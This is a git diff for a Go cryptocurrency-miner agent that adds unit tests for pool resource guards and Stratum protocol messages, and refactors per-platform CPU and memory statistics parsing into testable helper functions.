golang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=
|
||||
golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
|
||||
golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.3.6/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=
|
||||
golang.org/x/text v0.34.0 h1:oL/Qq0Kdaqxa1KbNeMKwQq0reLCCaFtqu2eNuSeNHbk=
|
||||
golang.org/x/text v0.34.0/go.mod h1:homfLqTYRFyVYemLBFl5GgL/DWEiH5wcsQ5gSh1yziA=
|
||||
golang.org/x/time v0.12.0 h1:ScB/8o8olJvc+CQPWrK3fPZNfh7qgwCrY0zJmoEQLSE=
|
||||
golang.org/x/time v0.12.0/go.mod h1:CDIdPxbZBQxdj6cxyCIdrNogrJKMJ7pr37NYpMcMDSg=
|
||||
golang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=
|
||||
golang.org/x/tools v0.41.0 h1:a9b8iMweWG+S0OBnlU36rzLp20z1Rp10w+IY2czHTQc=
|
||||
golang.org/x/tools v0.41.0/go.mod h1:XSY6eDqxVNiYgezAVqqCeihT4j1U2CCsqvH3WhQpnlg=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 h1:go1bK/D/BFZV2I8cIQd1NKEZ+0owSTG1fDTci4IqFcE=
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
|
||||
google.golang.org/protobuf v1.36.6 h1:z1NpPI8ku2WgiWnf+t9wTPsn6eP1L7ksHUlkfLvd9xY=
|
||||
google.golang.org/protobuf v1.36.6/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/5YcXBHnY=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk=
|
||||
gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q=
|
||||
gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
|
||||
gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
|
||||
lukechampine.com/blake3 v1.4.1 h1:I3Smz7gso8w4/TunLKec6K2fn+kyKtDxr/xcQEN84Wg=
|
||||
lukechampine.com/blake3 v1.4.1/go.mod h1:QFosUxmjB8mnrWFSNwKmvxHpfY72bmD2tQ0kBMM3kwo=
|
||||
|
||||
74
agent/miner/pool_guard_test.go
Normal file
74
agent/miner/pool_guard_test.go
Normal file
@@ -0,0 +1,74 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
func TestPoolResourcesOKBlocksHighMinFreeRAM(t *testing.T) {
|
||||
r := stats.NewReporter()
|
||||
free := r.FreeMemoryMB()
|
||||
if free == 0 {
|
||||
t.Skip("free memory unavailable on this platform")
|
||||
}
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
MiningMode: "always",
|
||||
MinFreeRAM: int(free + 1_000_000),
|
||||
MaxCPUUsage: 0,
|
||||
MaxMemoryPct: 0,
|
||||
}}
|
||||
p := NewPool(1, cfg, r, nil)
|
||||
if p.resourcesOK() {
|
||||
t.Fatal("MinFreeRAM above available free RAM should block mining")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolResourcesOKBlocksLowMaxMemoryPct(t *testing.T) {
|
||||
r := stats.NewReporter()
|
||||
total := r.TotalMemoryMB()
|
||||
if total == 0 {
|
||||
t.Skip("total memory unavailable on this platform")
|
||||
}
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
MiningMode: "always",
|
||||
MaxMemoryPct: 1,
|
||||
MaxCPUUsage: 0,
|
||||
MinFreeRAM: 0,
|
||||
}}
|
||||
p := NewPool(1, cfg, r, nil)
|
||||
if p.resourcesOK() {
|
||||
t.Fatal("MaxMemoryPct=1 should block when system memory use exceeds 1%")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolResourcesOKAllowsHighMaxCPU(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
MiningMode: "always",
|
||||
MaxCPUUsage: 100,
|
||||
MinFreeRAM: 0,
|
||||
}}
|
||||
p := NewPool(1, cfg, stats.NewReporter(), nil)
|
||||
if !p.resourcesOK() {
|
||||
t.Fatal("MaxCPUUsage=100 should allow mining when CPU is at most 100%")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPoolMiningAllowedRequiresResourcesAndSchedule(t *testing.T) {
|
||||
r := stats.NewReporter()
|
||||
free := r.FreeMemoryMB()
|
||||
if free == 0 {
|
||||
t.Skip("free memory unavailable on this platform")
|
||||
}
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
MiningMode: "always",
|
||||
MinFreeRAM: int(free + 1_000_000),
|
||||
MaxCPUUsage: 0,
|
||||
MaxMemoryPct: 0,
|
||||
}}
|
||||
p := NewPool(1, cfg, r, nil)
|
||||
if p.miningAllowed() {
|
||||
t.Fatal("miningAllowed should deny when resource guard fails even in always mode")
|
||||
}
|
||||
}
|
||||
@@ -147,3 +147,102 @@ func TestStratumMsgJobNotification(t *testing.T) {
|
||||
t.Fatalf("job notification: %+v", sj)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildStratumEndpointsMultipleBackups(t *testing.T) {
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{
|
||||
PoolHost: "primary.pool",
|
||||
PoolPort: 3333,
|
||||
BackupPools: []config.BackupPool{
|
||||
{Host: "backup1.pool", Port: 4444, Pass: "a"},
|
||||
{Host: "backup2.pool", Port: 5555, TLS: true},
|
||||
},
|
||||
}}
|
||||
eps := buildStratumEndpoints(cfg)
|
||||
if len(eps) != 3 {
|
||||
t.Fatalf("expected primary + 2 backups, got %d", len(eps))
|
||||
}
|
||||
if eps[2].Host != "backup2.pool" || eps[2].Port != 5555 || !eps[2].TLS {
|
||||
t.Fatalf("third endpoint mismatch: %+v", eps[2])
|
||||
}
|
||||
}
|
||||
|
||||
func TestStratumLoginErrorResponse(t *testing.T) {
|
||||
line := `{"id":1,"jsonrpc":"2.0","error":{"code":-1,"message":"invalid wallet"}}`
|
||||
var loginResp stratumMsg
|
||||
if err := json.Unmarshal([]byte(line), &loginResp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if loginResp.Error == nil {
|
||||
t.Fatal("expected login error field")
|
||||
}
|
||||
if loginResp.Result != nil {
|
||||
t.Fatal("error response should not carry a result")
|
||||
}
|
||||
}
|
||||
|
||||
func TestStratumKeepaliveMsgRoundTrip(t *testing.T) {
|
||||
params := mustMarshal(map[string]string{"id": "sess-abc"})
|
||||
msg := stratumMsg{ID: 3, JSONRPC: "2.0", Method: "keepalived", Params: params}
|
||||
b, err := json.Marshal(msg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var decoded stratumMsg
|
||||
if err := json.Unmarshal(b, &decoded); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if decoded.Method != "keepalived" || decoded.JSONRPC != "2.0" {
|
||||
t.Fatalf("keepalive msg: %+v", decoded)
|
||||
}
|
||||
var p map[string]string
|
||||
if err := json.Unmarshal(decoded.Params, &p); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if p["id"] != "sess-abc" {
|
||||
t.Fatalf("keepalive params: %v", p)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStratumSubmitRequestRoundTrip(t *testing.T) {
|
||||
params, err := json.Marshal(submitParams{
|
||||
ID: "sess-1", JobID: "42", Nonce: "04030201", Hash: "deadbeef",
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
msg := stratumMsg{ID: 4, JSONRPC: "2.0", Method: "submit", Params: params}
|
||||
b, err := json.Marshal(msg)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var decoded stratumMsg
|
||||
if err := json.Unmarshal(b, &decoded); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if decoded.Method != "submit" {
|
||||
t.Fatalf("method=%q", decoded.Method)
|
||||
}
|
||||
var sp submitParams
|
||||
if err := json.Unmarshal(decoded.Params, &sp); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if sp.ID != "sess-1" || sp.JobID != "42" || sp.Nonce != "04030201" || sp.Hash != "deadbeef" {
|
||||
t.Fatalf("submit params: %+v", sp)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStratumJobParamsInvalidJSON(t *testing.T) {
|
||||
msg := stratumMsg{Method: "job", Params: json.RawMessage(`{"blob":`)}
|
||||
var sj stratumJob
|
||||
if err := json.Unmarshal(msg.Params, &sj); err == nil {
|
||||
t.Fatal("malformed job params should fail unmarshal")
|
||||
}
|
||||
}
|
||||
|
||||
func TestStratumLineInvalidJSONIgnored(t *testing.T) {
|
||||
line := "not-json\n"
|
||||
var msg stratumMsg
|
||||
if err := json.Unmarshal([]byte(line), &msg); err == nil {
|
||||
t.Fatal("invalid stratum line should not parse as msg")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -17,6 +17,20 @@ func filetimeToUint64(ft filetime) uint64 {
|
||||
return (uint64(ft.HighDateTime) << 32) | uint64(ft.LowDateTime)
|
||||
}
|
||||
|
||||
func cpuBusyPercentFromDeltas(idleDelta, totalDelta float64) float64 {
|
||||
if totalDelta <= 0 {
|
||||
return 0
|
||||
}
|
||||
busyPct := (1.0 - idleDelta/totalDelta) * 100
|
||||
if busyPct < 0 {
|
||||
return 0
|
||||
}
|
||||
if busyPct > 100 {
|
||||
return 100
|
||||
}
|
||||
return busyPct
|
||||
}
|
||||
|
||||
func (r *Reporter) SystemCPUPercent() float64 {
|
||||
r.mu.Lock()
|
||||
defer r.mu.Unlock()
|
||||
@@ -49,15 +63,5 @@ func (r *Reporter) SystemCPUPercent() float64 {
|
||||
r.lastKernel = kernelTicks
|
||||
r.lastUser = userTicks
|
||||
|
||||
if totalDelta <= 0 {
|
||||
return 0
|
||||
}
|
||||
busyPct := (1.0 - idleDelta/totalDelta) * 100
|
||||
if busyPct < 0 {
|
||||
return 0
|
||||
}
|
||||
if busyPct > 100 {
|
||||
return 100
|
||||
}
|
||||
return busyPct
|
||||
return cpuBusyPercentFromDeltas(idleDelta, totalDelta)
|
||||
}
|
||||
|
||||
35
agent/stats/cpu_windows_test.go
Normal file
35
agent/stats/cpu_windows_test.go
Normal file
@@ -0,0 +1,35 @@
|
||||
//go:build windows
|
||||
|
||||
package stats
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestFiletimeToUint64(t *testing.T) {
|
||||
ft := filetime{LowDateTime: 0xDEADBEEF, HighDateTime: 0x00001234}
|
||||
want := (uint64(0x1234) << 32) | 0xDEADBEEF
|
||||
if got := filetimeToUint64(ft); got != want {
|
||||
t.Fatalf("got %x want %x", got, want)
|
||||
}
|
||||
if filetimeToUint64(filetime{}) != 0 {
|
||||
t.Fatal("zero filetime should be 0")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCPUBusyPercentFromDeltas(t *testing.T) {
|
||||
tests := []struct {
|
||||
idle, total float64
|
||||
want float64
|
||||
}{
|
||||
{idle: 25, total: 100, want: 75},
|
||||
{idle: 0, total: 100, want: 100},
|
||||
{idle: 100, total: 100, want: 0},
|
||||
{idle: 0, total: 0, want: 0},
|
||||
{idle: -10, total: 50, want: 100}, // over 100% busy clamped
|
||||
{idle: 200, total: 100, want: 0}, // negative busy clamped to 0
|
||||
}
|
||||
for _, tc := range tests {
|
||||
if got := cpuBusyPercentFromDeltas(tc.idle, tc.total); got != tc.want {
|
||||
t.Fatalf("idle=%v total=%v: got %v want %v", tc.idle, tc.total, got, tc.want)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -18,17 +18,24 @@ func (r *Reporter) memoryStatus() (total, avail uint64) {
|
||||
if err != nil {
|
||||
return total, total / 2
|
||||
}
|
||||
// Rough available estimate from vm_stat free pages
|
||||
var pageSize uint64 = 4096
|
||||
var freePages uint64
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
avail = parseVmStatFreeBytes(string(out))
|
||||
return total, avail
|
||||
}
|
||||
|
||||
func parseVmStatFreeBytes(out string) uint64 {
|
||||
const pageSize uint64 = 4096
|
||||
return parseVmStatFreePages(out) * pageSize
|
||||
}
|
||||
|
||||
func parseVmStatFreePages(out string) uint64 {
|
||||
for _, line := range strings.Split(out, "\n") {
|
||||
if strings.Contains(line, "Pages free") {
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) >= 3 {
|
||||
freePages, _ = strconv.ParseUint(strings.Trim(parts[2], "."), 10, 64)
|
||||
v, _ := strconv.ParseUint(strings.Trim(parts[2], "."), 10, 64)
|
||||
return v
|
||||
}
|
||||
}
|
||||
}
|
||||
avail = freePages * pageSize
|
||||
return total, avail
|
||||
return 0
|
||||
}
|
||||
|
||||
25
agent/stats/reporter_darwin_test.go
Normal file
25
agent/stats/reporter_darwin_test.go
Normal file
@@ -0,0 +1,25 @@
|
||||
//go:build darwin
|
||||
|
||||
package stats
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestParseVmStatFreePages(t *testing.T) {
|
||||
out := `Mach Virtual Memory Statistics: (page size of 4096 bytes)
|
||||
Pages free: 12345.
|
||||
Pages active: 67890.
|
||||
`
|
||||
if got := parseVmStatFreePages(out); got != 12345 {
|
||||
t.Fatalf("got %d", got)
|
||||
}
|
||||
if parseVmStatFreePages("no free pages here") != 0 {
|
||||
t.Fatal("missing line should return 0")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseVmStatFreeBytes(t *testing.T) {
|
||||
out := "Pages free: 1000.\n"
|
||||
if got := parseVmStatFreeBytes(out); got != 1000*4096 {
|
||||
t.Fatalf("got %d", got)
|
||||
}
|
||||
}
|
||||
@@ -4,6 +4,7 @@ package stats
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"io"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
@@ -15,8 +16,12 @@ func (r *Reporter) memoryStatus() (total, avail uint64) {
|
||||
return 0, 0
|
||||
}
|
||||
defer f.Close()
|
||||
return parseMeminfo(f)
|
||||
}
|
||||
|
||||
func parseMeminfo(r io.Reader) (total, avail uint64) {
|
||||
var memTotal, memAvail uint64
|
||||
sc := bufio.NewScanner(f)
|
||||
sc := bufio.NewScanner(r)
|
||||
for sc.Scan() {
|
||||
line := sc.Text()
|
||||
if strings.HasPrefix(line, "MemTotal:") {
|
||||
|
||||
@@ -2,7 +2,10 @@
|
||||
|
||||
package stats
|
||||
|
||||
import "testing"
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestParseKB(t *testing.T) {
|
||||
if got := parseKB("MemTotal: 16384000 kB"); got != 16384000 {
|
||||
@@ -11,4 +14,30 @@ func TestParseKB(t *testing.T) {
|
||||
if parseKB("short") != 0 {
|
||||
t.Fatal("invalid line should return 0")
|
||||
}
|
||||
if parseKB("MemAvailable: 0 kB") != 0 {
|
||||
t.Fatal("zero kB should parse as 0")
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseMeminfo(t *testing.T) {
|
||||
content := strings.Join([]string{
|
||||
"MemTotal: 16384000 kB",
|
||||
"MemFree: 8192000 kB",
|
||||
"MemAvailable: 4096000 kB",
|
||||
}, "\n")
|
||||
total, avail := parseMeminfo(strings.NewReader(content))
|
||||
if total != 16384000*1024 {
|
||||
t.Fatalf("total %d", total)
|
||||
}
|
||||
if avail != 4096000*1024 {
|
||||
t.Fatalf("avail %d", avail)
|
||||
}
|
||||
}
|
||||
|
||||
func TestParseMeminfoMissingTotal(t *testing.T) {
|
||||
content := "MemAvailable: 4096000 kB\n"
|
||||
total, avail := parseMeminfo(strings.NewReader(content))
|
||||
if total != 0 || avail != 0 {
|
||||
t.Fatalf("missing MemTotal: total=%d avail=%d", total, avail)
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user